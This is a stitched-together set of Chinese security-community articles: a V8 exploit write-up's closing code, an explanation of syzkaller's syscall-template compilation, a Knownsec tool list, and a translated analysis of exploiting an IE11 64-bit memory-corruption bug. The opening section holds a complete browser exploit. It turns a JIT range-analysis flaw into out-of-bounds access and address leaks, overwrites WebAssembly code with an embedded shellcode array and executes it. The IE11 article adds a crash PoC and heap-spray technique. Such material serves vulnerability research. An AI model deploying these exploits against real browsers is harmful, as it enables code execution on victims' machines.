return dv.getFloat64(0,true);
}
function i2f64(value) {
dv.setBigUint64(0,BigInt(value),true);
return dv.getFloat64(0,true);
}
function u64f(value) {
dv.setFloat64(0,value,true);
return [dv.getUint32(0,true),dv.getUint32(4,true)];
}
function big2int(value) {
dv.setBigUint64(0,BigInt(value),true);
return dv.getUint32(0,true);
}
var a;
var oob_arr;
function opt(index,leak_or_write,val) {
a = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8];
oob_arr = new Array(1.1,2.2);
var x = -Infinity;
var i = 0;
for (; i < 1; i += x) {
if (i == -Infinity) x = +Infinity;
}
//compiler:Range(1,INF)
//reality:NaN
var x = Math.max(i,1); //
//compiler:Range(-INF,-1)
//reality:NaN
x = -x; //
//compiler:Range(-2,-1)
//reality:NaN
x = Math.max(x,-2); //
//compiler:Range(-2,-1)
//reality:0
x >>= 0; //
//compiler:Range(0,1)
//reality:2
x += 2;
//compiler:Range(0,7)
//reality:Range(0,7)
index &= 0x7;
//compiler:Range(0,7)
//reality:Range(0,14)
index *= x;
/*两步的作用是清除符号位*/
index <<= 1;
index >>= 1;
if (leak_or_write)
return a[index];
else {
a[index] = val;
}
}
for (var i=0;i<0x20000;i++) {
opt(7,true,i+1.1);
opt(7,false,p64f(0,0));
}
//泄露arr的elements,用于覆写length时不破坏elements
var d = u64f(opt(7,true,1.1));
var elements_addr = d[0];
print("elements_addr=" + elements_addr.toString(16));
var oob_len = p64f(elements_addr,0x1000);
opt(7,false,oob_len);
var float64_arr = new Float64Array(1.1,2.2,3.3);
var arb_buf = new ArrayBuffer(0x10);
var obj_arr = [buf];
compression_high = u64f(oob_arr[0x32])[0];
obj_elements_map_addr = u64f(oob_arr[0x3c])[1];
double_elements_map_addr = u64f(oob_arr[0x22])[1];
print("compression_high=" + compression_high.toString(16));
print("obj_elements_map_addr=" + obj_elements_map_addr.toString(16));
print("double_elements_map_addr=" + double_elements_map_addr.toString(16));
function addressOf(mobj) {
obj_arr[0] = mobj;
oob_arr[0x3c] = p64f(0,double_elements_map_addr);
var addr = BigInt(u64f(obj_arr[0])[0]) - 0x1n + (BigInt(compression_high) << 32n);
oob_arr[0x3c] = p64f(0,obj_elements_map_addr);
return addr;
}
/*print(addressOf(buf).toString(16));
//%DebugPrint(buf);
%SystemBreak(); */
const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;
var wasm_shellcode_ptr_addr = addressOf(wasmInstance) + 0x68n;
print(wasm_shellcode_ptr_addr.toString(16));
oob_arr[0x36] = p64f(0,0x100);
oob_arr[0x37] = p64f(0,big2int(wasm_shellcode_ptr_addr));
oob_arr[0x38] = p64f(compression_high,0);
var adv = new DataView(arb_buf);
var wasm_shellcode_addr = adv.getBigUint64(0,true);
print('wasm_shellcode_addr=' + wasm_shellcode_addr.toString(16));
oob_arr[0x37] = p64f(0,big2int(wasm_shellcode_addr));
oob_arr[0x38] = p64f(big2int(wasm_shellcode_addr >> 32n),0);
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
adv.setUint32(i*4,shellcode[i],true);
}
//执行shellcode
func();
/*%DebugPrint(wasmInstance);
%DebugPrint(oob_arr);
%DebugPrint(arb_buf);
%SystemBreak();
*/
## 0x04 感想
最近研究v8越来越上手了，以后还得继续努力。
## 0x05 参考
[论文Interprocedural Induction Variable
Analysis](https://www.docin.com/p-1633488008.html)
[chromium
commit](https://chromium.googlesource.com/v8/v8.git/+/a2e971c56d1c46f7c71ccaf33057057308cc8484%5E!/) | 社区文章 |
这是内核漏洞挖掘技术系列的第六篇。
第一篇：[内核漏洞挖掘技术系列(1)——trinity](https://xz.aliyun.com/t/4760
"内核漏洞挖掘技术系列\(1\)——trinity")
第二篇：[内核漏洞挖掘技术系列(2)——bochspwn](https://xz.aliyun.com/t/4800
"内核漏洞挖掘技术系列\(2\)——bochspwn")
第三篇：[内核漏洞挖掘技术系列(3)——bochspwn-reloaded(1)](https://xz.aliyun.com/t/4921
"内核漏洞挖掘技术系列\(3\)——bochspwn-reloaded\(1\)")
第四篇：[内核漏洞挖掘技术系列(3)——bochspwn-reloaded(2)](https://xz.aliyun.com/t/4932
"内核漏洞挖掘技术系列\(3\)——bochspwn-reloaded\(2\)")
第五篇：[内核漏洞挖掘技术系列(4)——syzkaller(1)](https://xz.aliyun.com/t/5079
"内核漏洞挖掘技术系列\(4\)——syzkaller\(1\)")
## 前言
在上一篇文章中我们简单聊了聊syzkaller的整体架构和如何人工更新系统调用模板，这些系统调用模板通过 **syz-extract** 和 **syz-sysgen**
翻译成syzkaller使用的代码。在这篇文章中我们就来看看具体怎么实现的。系统调用模板大概是下面这样的形式。在继续阅读之前希望读者能自己实践掌握系统调用模板的语法，文章中就不再赘述。
syscallname "(" [arg ["," arg]*] ")" [type]
arg = argname type
argname = identifier
type = typename [ "[" type-options "]" ]
typename = "const" | "intN" | "intptr" | "flags" | "array" | "ptr" |
"buffer" | "string" | "strconst" | "filename" | "len" |
"bytesize" | "bytesizeN" | "bitsize" | "vma" | "proc"
type-options = [type-opt ["," type-opt]]
使用 **syz-extract** 得到常量和值一一对应的.const文件，然后使用 **syz-sysgen** 编译AST(Abstract
Syntax Tree，抽象语法树)和常量值，并返回包含生成的prog对象的Prog。 **syz-sysgen** 具体又分为下面4步。
1. **assignSyscallNumbers** ：分配系统调用号，检测不受支持的系统调用并丢弃
2. **patchConsts** ：将AST中的常量patch成对应的值
3. **check** ：对AST进行语义检查
4. **genSyscalls** ：从AST生成prog对象
## syz-extract
在syz-extract文件夹下除了extract.go还有对应不同操作系统的go文件，我们仍然以linux.go为例。在extract.go的main函数中，首先调用archFileList函数得到我们编写的系统调用模板文件和相应的架构的配置。
然后调用了对应extractor的prepare函数。linux.go中首先检查是否设置了sourcedir源代码目录，如果设置build参数表示重新生成特定架构的内核头文件于是make
mrproper清理；如果没有设置build参数则不能指定多个架构。
然后分别对Arch和File调用processArch函数和processFile函数处理。
在processArch函数中首先调用ParseGlob函数，ParseGlob函数调用了Parse函数将编写的txt文件解析成AST。
在Parse函数中调用了parseTopRecover函数解析出节点加入到top中，并且会在struct前后加上空行，移除重复的空行。
parseTopRecover函数中主要调用了parseTop函数。
parseTop函数根据标识符的类型调用不同的函数处理。
返回到processArch函数，然后调用ExtractConsts函数提取出常量标识符，ExtractConsts函数主要调用了Compile函数。
Compile函数中首先调用的是createCompiler函数。在syscall_descriptions_syntax.md中可以看到syzkaller内建的一些别名和模板，在createCompiler函数中对它们进行了初始化。
返回到Compile函数，接下来调用typecheck函数分别调用checkDirectives，checkNames，checkFields，checkTypedefs，checkTypes这五个函数进行一些检查。对于可能出现的错误可以对照consts_errors.txt，errors.txt和errors2.txt中给出的例子。限于篇幅原因，不再展开。检查之后调用了extractConsts函数，extractConsts函数返回提取const值所需的文本常量和其它信息的列表。列表的定义如下，其中的内容分别为常量(consts)，定义(defines)，包含头文件数组(includeArray)，包含目录数组(incdirArray)。
提取包含目录：
提取包含头文件：
提取定义之后把定义的name作为常量：
给系统调用名添加前缀之后作为常量(linux是__NR_)：
对于call，struct，resource等等类型提取参数中的常量：
提取struct类型size中的常量：
最后提取flag和resource中的常量：
extractConsts函数返回之后Compile函数不会再继续执行。
返回到processArch函数，将文件名和对应的常量标识符信息发给Channel之后就可以调用processFile函数了。比如当指定架构为amd64时，输入文件名inname如果是sys/linux/binder.txt，那么输出文件名outname就是sys/linux/binder_amd64.const了。其中又调用了对应extractor的processFile函数。
linux.go中processFile函数主要调用了extract函数。
extract函数中首先调用了compile函数。compile函数中cc是gcc，args是传给gcc的参数，data主要是常量标识符信息。
在compile函数中，首先用指定的srcTemplate模板将数据解析成源代码。
例如ipc.txt解析之后的结果如下。
然后编译成二进制文件。
在extract函数中如果第一次调用compile函数出现错误，这可能是因为有些常量和系统调用编号在一些架构上没有定义。从输出中找到这些没有定义的常量，不把它们加入到data中，然后尝试再次调用compile函数。
我们可以看到在代码中将vals数组中的每个成员都以unsigned long long的格式输出，所以运行编译好的二进制文件就得到了每个常量对应的值。
在extract函数返回之后还要对mmap系统调用做下处理。i386/arm架构上的mmap被转换为old_mmap，我们将其修复为mmap2。
在pkg/csource中也做了同样的处理。
我们返回到extract.go中的processFile函数，在得到extractor的processFile函数返回的值之后，调用SerializeConsts函数将其序列化为常量=值的形式，最后写到文件。
## syz-sysgen
syz-sysgen先创建文件夹gen用来存放生成的go文件，然后从.txt文件中提取出AST，从.const文件中提取出常量，调用Compile函数。与前面那次调用Compile函数不同，这一次调用Compile函数时因为consts不为nil，所以会继续执行下面的代码。
除了前面同样调用createCompiler函数和typecheck函数，接下来首先调用的是assignSyscallNumbers函数，assignSyscallNumbers函数分配系统调用号，检测不受支持的系统调用并丢弃。
接着调用patchConsts函数将AST中的常量patch成对应的值。
然后调用check函数对AST进行语义检查，最后调用genSyscalls函数。genSyscalls函数中主要是调用了genSyscall函数，然后按照系统调用名排序。
在genSyscall函数中调用genType函数生成返回值，调用genFieldArray函数生成每个参数。
在genType函数和genFieldArray函数中都主要是调用不同类型的Gen函数。
同时，返回的prog对象中调用genResources函数生成资源，genStructDescs函数生成结构体的描述。
回到sysgen.go之后再调用generate函数把它们输出到io.Writer中，然后写入gen文件夹下对应架构的.go文件。
在go语言中init函数会在每个包完成初始化后自动执行，并且执行优先级比main函数高，所以这里RegisterTarget函数在初始化后就执行了。
接下来在writeExecutorSyscalls函数中将一些配置写入executor\defs.h文件，将系统调用名和对应的系统调用号写入executor\syscalls.h文件。
## 总结
这篇文章我们大致分析了上一篇文章展示的编写的系统调用模板被编译过程的原理，可以理解成syzkaller实现了一种描述系统调用的小型的编程语言。接下来我们将分析fuzz的过程，crash复现，Generate和Mutate策略等话题。 | 社区文章 |
**作者：知道创宇404实验室
时间：2020年8月24日**
“404星链计划”是知道创宇404实验室于2020年8月开始的计划，旨在通过开源或者开放的方式，长期维护并推进涉及安全研究各个领域不同环节的工具化，就像星链一样，将立足于不同安全领域、不同安全环节的研究人员链接起来。
其中不仅限于突破安全壁垒的大型工具，也会包括涉及到优化日常使用体验的各种小工具，除了404自研的工具开放以外，也会不断收集安全研究、渗透测试过程中的痛点，希望能通过“404星链计划”改善安全圈内工具庞杂、水平层次不齐、开源无人维护的多种问题，营造一个更好更开放的安全工具促进与交流的技术氛围。
项目地址: \- <https://github.com/knownsec/404StarLink-Project>
# Contents
* Project
* [ksubdomain](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#ksubdomain)
* the fastest subdomain enumeration tool
* [Zoomeye Tools](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#zoomeye-tools)
* the Chrome extension with Zoomeye
* [Pocsuite3](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#pocsuite3)
* pocsuite3 is an open-sourced remote vulnerability testing framework developed by the Knownsec 404 Team.
* [Zoomeye SDK](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#zoomeye-sdk)
* ZoomEye API SDK
* [wam](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#wam)
* WAM is a platform powered by Python to monitor "Web App"
* Minitools
* [ipstatistics](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#ipstatistics)
* ipstatistics is a script based on the ipip library that is used to quickly filter the ip list.
* [cidrgen](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#cidrgen)
* cidrgen is based on cidr's subnet IP list generator
# Project
该分类下主要聚合各类安全工具，偏向于可用性较高的完整项目。
### **\- ksubdomain**
##### 项目链接：
<https://github.com/knownsec/ksubdomain>
##### 项目简述：
ksubdomain是最快的子域名爆破工具,并且能运行在Windows/Linux/Mac，它可以很快的进行DNS爆破，在Mac和Windows上理论最大发包速度在30w/s,linux上为160w/s的速度。
### **\- Zoomeye Tools**
##### 项目链接：
<https://github.com/knownsec/Zoomeye-Tools>
##### 项目简述：
Zoomeye Tools包括Zoomeye minitools以及Zoomeye preview两个功能。
minitools目前集成了针对zoomeye.org使用过程中，以多种格式复制所有目标，以方便快捷的方式进入下一步扫描。
preview实现了一个简易的Zoomeye界面，当用户登录并点开preview时，可以方便快捷的看到当前站ip的各种信息以及开放端口信息。
### **\- Pocsuite3**
##### 项目链接：
<https://github.com/knownsec/pocsuite3>
##### 项目简述：
pocsuite3是由Knownsec
404团队开发的开源远程漏洞测试和概念验证开发框架。它带有强大的概念验证引擎，以及针对最终渗透测试人员和安全研究人员的许多强大功能。
### **\- Zoomeye SDK**
##### 项目链接：
<https://github.com/knownsec/ZoomEye>
##### 项目简述：
[ZoomEye](https://www.zoomeye.org/)是用于网络空间的搜索引擎，可让用户查找特定的网络组件（ip，服务等）。
[ZoomEye
API](https://www.zoomeye.org/api/doc)是一项Web服务，可通过HTTPS方便地访问ZoomEye功能，数据和信息。
平台API使开发人员能够自动化，扩展和连接ZoomEye。 您可以使用ZoomEye平台API来以编程方式创建应用，提供一些附加组件并执行一些自动化任务。
试想一下，使用ZoomEye可以做得很棒。
### **\- wam**
##### 项目链接：
<https://github.com/knownsec/wam>
##### 项目简述：
WAM是一个由Python驱动的平台，用于监视“ Web App”，“动态网络信息”。
在某种程度上，它可以极大地帮助安全研究人员节省跟踪脆弱代码更新和投资行业动态的时间。
AM模型：此模块可以监视互联网上所有应用程序的每个更新，分析所做的更改以生成Tag并提供邮件通知；
IDM模型：此模块使用Web搜寻器来获取行业动态信息并将其报告给用户。
VDR Model：此模块管理器在历史记录中的所有应用程序包，并保存其中DIFF详细信息的更新版本；
# Minitools
该分类下主要聚合各类安全研究过程中涉及到的小工具、脚本，旨在优化日常安全自动化的使用体验。
### **\- ipstatistics**
##### 项目链接：
<https://github.com/knownsec/Minitools-ipstatistics>
##### 项目简述：
ipstatistics是一个基于ipip库的，用于快速筛选ip列表的脚本，可以快速筛选出国家、地区以及排除特殊地区的ip目标。
### **\- cidrgen**
##### 项目链接：
<https://github.com/knownsec/Minitools-cidrgen>
##### 项目简述：
cidrgen基于cidr的子网IP列表生成器，快捷解决扫描时展开子网的痛点。
* * * | 社区文章 |
# 【技术分享】Exploiting Internet Explorer 11 64-bit on Windows 8.1 Preview
|
##### 译文声明
本文是翻译文章，文章来源：ifsec
原文地址：<http://ifsec.blogspot.com/2013/11/exploiting-internet-explorer-11-64-bit.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
******翻译：**[ **Ox9A82**](http://bobao.360.cn/member/contribute?uid=2676915949)
**稿费：250RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn** ****](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**前言**
在今年的早些时候微软发布了几个安全奖励计划，其中的一个就是寻找在IE11中的漏洞。我参加了这次活动，并且很快找到了一个内存破坏类漏洞。尽管我相信这个漏洞是可以被利用来进行任意代码执行的，但是因为缺少时间我当时并没有写出可以利用的exp。然而，出于对新版本操作系统中全新的浏览器exp编写难度的兴趣，我决定来动手开发一个可用的exp。在这篇文章中，我将首先对这个漏洞进行一个介绍，然后在64位Windows
8.1 Preview版本上开发一个可用的exp。
当我尝试开发exp时，我并没有试图去实现一个100％可靠的exp（我的目的是在新的平台下做个试验，而不是要做一个实际的攻击武器）但是，我给自己设置了一些限制，这将使这个练习更具有挑战性：
1\. 漏洞exp的利用不应依赖于其他插件（所以没有Flash和Java），我想让它工作在默认的安装环境。
2\.
该漏洞必须能够在64位Windows上的64位IE进程中工作。使用32位IE进程其实是在作弊，因为许多漏洞缓解技术（如堆基址随机化）在32位操作系统和进程上并不生效。此外就是现在64位Windows下的exp比较少。
3\. 不组合使用其他漏洞（例如为了绕过ASLR而组合使用另一个漏洞）
关于利用64位Internet Explorer的一个事先注意事项是：在Windows
8和8.1中，当直接在桌面上运行IE时，IE的主进程是64位的，但是渲染器进程将是32位。如果使用新的接口（指windows8的触摸屏），那么两个进程都会是64位的。这一有趣的选择使得桌面版本的IE不太安全。因此在默认环境中，这里展示的exp实际上是针对IE的触摸屏版本的。
为了进行exploit的开发需要强制IE进程在桌面上也使用64位模式，我强制IE使用了单进程模式（TabProcGrowth注册表项）。但是请注意，这里仅供调试使用，如果用于浏览随机页面，它会使IE更不安全，因为它会禁用IE的沙盒模式。
**漏洞分析**
能够触发该漏洞的一个简短的poc例程如下所示
<script>
function bug() {
t = document.getElementsByTagName("table")[0];
t.parentNode.runtimeStyle.posWidth = "";
t.focus();
}
</script>
<body onload=bug()>
<table><th><ins>aaaaaaaaaa aaaaaaaaaa
这是错误输出：
(4a8.440): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
MSHTML!Layout::ContainerBox::ContainerBox+0x1e6:
00007ff8`e0c90306 488b04d0 mov rax,qword ptr [rax+rdx*8] ds:000000a6`e1466168=????????????????
0:010> r
rax=000000a6d1466170 rbx=000000a6d681c360 rcx=000000000000007f
rdx=0000000001ffffff rsi=000000a6d5960330 rdi=00000000ffffffff
rip=00007ff8e0c90306 rsp=000000a6d61794b0 rbp=000000a6d5943a90
r8=0000000000000001 r9=0000000000000008 r10=00000000c0000034
r11=000000a6d61794a0 r12=00000000ffffffff r13=00000000ffffffff
r14=000000000000000b r15=00000000ffffffff
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
MSHTML!Layout::ContainerBox::ContainerBox+0x1e6:
00007ff8`e0c90306 488b04d0 mov rax,qword ptr [rax+rdx*8] ds:000000a6`e1466168=????????????????
0:010> k
Child-SP RetAddr Call Site
000000a6`d61794b0 00007ff8`e0e49cc0 MSHTML!Layout::ContainerBox::ContainerBox+0x1e6
000000a6`d6179530 00007ff8`e0e554a8 MSHTML!Layout::TableGridBox::TableGridBox+0x38
000000a6`d6179590 00007ff8`e0e553c2 MSHTML!Layout::TableGridBoxBuilder::CreateTableGridBoxBuilder+0xd8
000000a6`d6179600 00007ff8`e0c8b720 MSHTML!Layout::LayoutBuilder::CreateLayoutBoxBuilder+0x2c9
000000a6`d61796c0 00007ff8`e0c8a583 MSHTML!Layout::LayoutBuilderDriver::StartLayout+0x85f
000000a6`d61798d0 00007ff8`e0c85bb2 MSHTML!Layout::PageCollection::FormatPage+0x287
000000a6`d6179a60 00007ff8`e0c856ae MSHTML!Layout::PageCollection::LayoutPagesCore+0x2aa
000000a6`d6179c00 00007ff8`e0c86389 MSHTML!Layout::PageCollection::LayoutPages+0x18e
000000a6`d6179c90 00007ff8`e0c8610f MSHTML!CMarkupPageLayout::CalcPageLayoutSize+0x251
000000a6`d6179db0 00007ff8`e0df85ca MSHTML!CMarkupPageLayout::CalcTopLayoutSize+0xd7
000000a6`d6179e70 00007ff8`e12d472d MSHTML!CMarkupPageLayout::DoLayout+0x76
000000a6`d6179eb0 00007ff8`e0d9de95 MSHTML!CView::EnsureView+0xcde
000000a6`d617a270 00007ff8`e0d1c29e MSHTML!CElement::EnsureRecalcNotify+0x135
000000a6`d617a310 00007ff8`e1556150 MSHTML!CElement::EnsureRecalcNotify+0x1e
000000a6`d617a350 00007ff8`e1555f6b MSHTML!CElement::focusHelperInternal+0x154
000000a6`d617a3b0 00007ff8`e19195ee MSHTML!CElement::focus+0x87
000000a6`d617a400 00007ff8`e06ed862 MSHTML!CFastDOM::CHTMLElement::Trampoline_focus+0x52
000000a6`d617a460 00007ff8`e06f0039 jscript9!amd64_CallFunction+0x82
000000a6`d617a4b0 00007ff8`e06ed862 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x154
000000a6`d617a550 00007ff8`e06f26ff jscript9!amd64_CallFunction+0x82
从上面可以看出，IE进程崩溃在MSHTML!Layout:ContainerBox:ContainerBox函数中，因为试图读取rax + rdx *
8指向的未初始化内存。rax实际上是指向一个CFormatCache对象的内存，而rdx（0x0000000001ffffff）的值是很有趣的。所以我查看了ContainerBox：ContainerBox函数的代码，想看看这个值是从哪里来的，以及如果攻击者控制了rax
+ 0xffffff8处的内存之后可以做什么。
00007ffb`dac00145 83cdff or ebp,0FFFFFFFFh
...
00007ffb`dac0023e 440fb64713 movzx r8d,byte ptr [rdi+13h]
00007ffb`dac00243 410fb6c0 movzx eax,r8b
00007ffb`dac00247 c0e805 shr al,5
00007ffb`dac0024a 2401 and al,1
00007ffb`dac0024c 0f84048f6200 je MSHTML!Layout::ContainerBox::ContainerBox+0x562 (00007ffb`db229156)
00007ffb`dac00252 440fb76f68 movzx r13d,word ptr [rdi+68h]
...
00007ffb`db229156 448bed mov r13d,ebp
00007ffb`db229159 e9f9709dff jmp MSHTML!Layout::ContainerBox::ContainerBox+0x137 (00007ffb`dac00257)
...
00007ffb`dac002db 410fbffd movsx edi,r13w
...
00007ffb`dac002fb 8bcf mov ecx,edi
00007ffb`dac002fd 8bd7 mov edx,edi
00007ffb`dac002ff 48c1ea07 shr rdx,7
00007ffb`dac00303 83e17f and ecx,7Fh
00007ffb`dac00306 488b04d0 mov rax,qword ptr [rax+rdx*8] ds:0000007a`390257f8=????????????????
00007ffb`dac0030a 488d0c49 lea rcx,[rcx+rcx*2]
00007ffb`dac0030e 488d14c8 lea rdx,[rax+rcx*8]
00007ffb`dac00312 8b4cc810 mov ecx,dword ptr [rax+rcx*8+10h]
00007ffb`dac00316 8b420c mov eax,dword ptr [rdx+0Ch]
00007ffb`dac00319 3bc8 cmp ecx,eax
00007ffb`dac0031b 0f83150d7500 jae MSHTML!Layout::ContainerBox::ContainerBox+0x750f16 (00007ffb`db351036)
00007ffb`dac00321 ffc0 inc eax
00007ffb`dac00323 89420c mov dword ptr [rdx+0Ch],eax
崩溃时rdx的值是由ebp值经过几次赋值之后得来的，ebp在函数开头部分被初始化为0xFFFFFFFF（注意，ebp/rbp在这里不用作栈指针）。我的假设是，值0xFFFFFFFF（-1）是用作CFormatCache索引变量的初始值的。在稍后的代码中，获取了一个指向CTreeNode对象的指针，然后检查CTreeNode中的标志，如果它被设置，则从CTreeNode对象中复制索引值。然而，如果未设置标志（如PoC中的情况），则使用初始值。值0xFFFFFFFF然后被分成上下两部分（CFormatCache看起来像是一个2个DWORD值的数组）。较高索引（将等于0x1ffffff）的值将乘以8（void
*的大小），然后将此偏移量加到rax，并将此内存位置处的内容写回到rax。然后，让索引低位（将为0x7f）的值乘以24（可能是CCharFormat元素的大小），并将该偏移量加到eax，然后将此内存位置的内容写入rdx。最后，这是与利用相关的部分：取出[rdx
+ 0C]处的数字，自增之后再写回[rdx + 0C]
用C++描述会简化一些，相关的代码会是这样的：
int cacheIndex = -1;
if(treeNode->flag) {
cacheIndex = treeNode->cacheIndex;
}
unsigned int index_hi = cacheIndex, index_lo = cacheIndex;
index_hi = index_hi >> 7;
index_lo = index_lo & 0x7f;
//with sizeof(formatCache[i]) == 8 and sizeof(formatCache[i][j]) == 24
formatCache[index_hi][index_lo].some_number++;
出于实际利用的目的，情况是这样的：一个指向有效内存（CFormatCache指针）的指针会增加0x0FFFFFF8（256M）的大小，并且相加得到的地址的值会被当作另一个指针来处理。让我们调用地址（CFormatCache地址+0x0FFFFFF8）P1和它指向的指针P2。在P2+0xBF4处的DWORD值将被加1（注意，0xBF4的值是这么来的：0x7F
* 3 * 8 + 0x0C）。
**漏洞利用**
如果我们是在为一个32位的进程编写一个exp，那么一个直接（但不是很优雅）的方法是利用堆喷射来喷射出一个32位的地址，使得当0xBF4与它相加之后的地址上存在有趣的东西（例如字符串或数组长度）。这个所谓的“有趣的东西”可以通过另一个堆喷射来进行布局。
然而这个exp是针对具有全ASLR保护的64位进程编写的，因此我们不知道或者不能够猜测到“有趣”对象的地址。我们当然不会去填充64位进程的地址空间，因为堆基址将被随机化从而使得堆上对象的地址不可预测。
**堆喷射**
然而，即使在这种情况下，堆喷射仍然可用于漏洞利用的第一部分。注意，当触发漏洞时，P1会被计算为有效堆地址加0x0FFFFFF8（256M）的值。如果我们进行堆喷，来分配相对于堆基地址的内存。通过喷射大约256M的内存，我们可以将P2设置为任意值。
总而言之，尽管64位进程和堆地址随机化中的地址空间明显更大，但是在脆弱的程序对堆基地址+一个大偏移处的内存进行解引用的时候，堆喷射仍然有效。而且这是越界访问漏洞的典型行为，所以很常见。除了这里讨论的这个漏洞之外，以前我写过exp的IE漏洞也有这种表现。
尽管在现在的exp中通常避免使用堆喷射，而去使用更可靠的替代方案，但是在256M大小偏移固定的情况下，它是非常可靠的。虽然偏移是固定的，但是对于堆喷射来说这是一个非常合适的值。即不是太大，从而导致内存耗尽，也不是太小，从而造成可靠性的问题。
**不存在Flash插件**
但是，不能预测这个“有趣对象”地址的问题仍然存在，因此我们要考虑的问题是，我们要喷射什么？在这里我们用喷射指针的方式来取代喷射具体的值。因为在取p2指针指向的值之前，会先将一个0xBF4大小的偏移量加到P2，所以我们将喷射一些对象的地址，并尝试使这个地址+0xBF4的值指向一些我们感兴趣的东西。
那么什么是“我们感兴趣的东西”呢？我第一个尝试的是JavaScript字符串的长度值。虽然我能够覆盖字符串长度值（长度值为qword）的高位dword部分，但出现了一个问题：JavaScript字符串的长度值被视为是32位（bit）的数字。但是注意，64位进程上的大多数指针（包括我们要在堆喷射中使用的）都是qword对齐的，当向这样的指针值加一个0xBF4的偏移量时，我们将在一个以qword进行对齐的内存中指向一个qword的高dword部分。所以我们的目标值是不能以64位或是qword进行对齐的。
另一个想法是尝试覆盖地址。但是请注意，触发该漏洞会使地址增加4GB大小（假设地址值是以qword进行对齐的），因为我们增加了高位的dword。为了控制这个地址上的内容，我们将需要进行另一个大约4G大小的堆喷射，这将导致计算机上的内存资源被耗尽。顺便说一下，我运行Windows
8.1虚拟机的计算机只安装了4GB的内存，而分配给虚拟机的只有2GB的内存，所以我决定放弃这个想法，看看有没有可用的替代品。
我发现在实际攻击中使用过的几个漏洞exp，是通过覆盖Flash数组（Array）的长度域来利用漏洞的。但是在此次练习中Flash是不允许使用的，所以让我们来看看IE
11中的JavaScript数组。事实证明，有一个有趣的值是正确对齐的。下面显示了一个示例的JavaScript数组对象，并且附有一些字段的解释。注意，实际的数组内容可以被分块储存在多个缓冲区中。
offset:0, size:8 vtable ptr
offset:0x20, size:4 array length
offset:0x28, size:8 pointer to the buffer containing array data
[beginning of the first buffer, stored together with the array]
offset:0x50, size:4 index of the first element in this buffer
offset:0x54, size:4 number of elements currently in the buffer
offset:0x58, size:4 buffer capacity
offset:0x60, size:8 ptr to the next buffer
offset:0x68, size:varies array data stored in the buffer
虽然没有必要了解漏洞利用，但是这里也提供了一个String对象示例，并且附有一些字段的解释。
我们将喷射指向JavaScript
String对象的指针，使用的方式是创建一个大的javascript数组，其中数组中的每一个元素都将是同一个字符串对象。我们还将采用同样的方式来获得内存对齐，从字符串开始偏移0xBF4大小的地方，就是我们要覆盖的值。
你可能想知道为什么我喷射的是字符串指针而不是数组对象指针。这是因为String对象相对来说要小得多（32字节对比128字节），所以通过使多个字符串彼此接近并指向一个特定的字符串，我们可以更好地“瞄准”数组对象内的特定偏移值。当然，如果我们有几个字符串彼此相邻，问题就变成了在堆喷射中该使用哪一个。由于Array对象是String的4倍大小，因此在我们可以覆盖的数组中有四个不同的偏移量。如果是随机选择的话，在正确的情况下（具有概率1/4），我们将能够完全覆盖住我们想要的值。在另一种情况下，我们的覆盖会导致数组后续访问违例的地址从而崩溃。在剩下的两种情况下，我们会覆盖到不重要的值，我们可以通过使用指向不同字符串的指针来重新尝试。因此盲目猜测的成功率是1/4，而尝试/重试方法的成功率将是3/4。一个更好的方法是首先对内存进行对齐，以便将可读的内容放在与堆喷射中使用的String对象的0xBF4偏移处。虽然我观察到这是可行的，但我并没有在漏洞代码中提供具体的实现，而是留给读者作为一个练习。有关可以帮助您实现此类对齐的信息，请参阅下一节。
在提供的漏洞代码中，使用的是一个简单（半）盲目的方法，其中有一个大的字符串数组（strarr），并且有一个固定索引的字符串用于堆喷。我注意到，这在我使用一个新的进程或选项卡打开PoC（所以在当前进程中我并没有布置其它javascript对象）时可以可靠地工作。如果我使用的索引值不适合你的环境，你可能需要选择一个不同的值或换一个方法。
**Javascript中的堆风水**
在继续研究漏洞exp之前，让我们先花一些时间来研究如何在IE11中进行堆喷射，并且在堆上获得具有较高可靠性的对象。
**第一点，堆喷射**
虽然微软已经采取措施使得用Javascript字符串喷射堆变得很困难，但是在IE11中Javascript数组似乎并不受这些影响。我们可以通过指针或是绝对值两种方式来进行喷射，例如创建一个大的整数数组。虽然最近有很多IE漏洞exp是使用Flash进行堆喷射的，但是这么做没有必要。考虑到现在的Javascript
Array的分配速度很快，Javascript数组可能是未来在IE浏览器中进行堆喷射的首选。
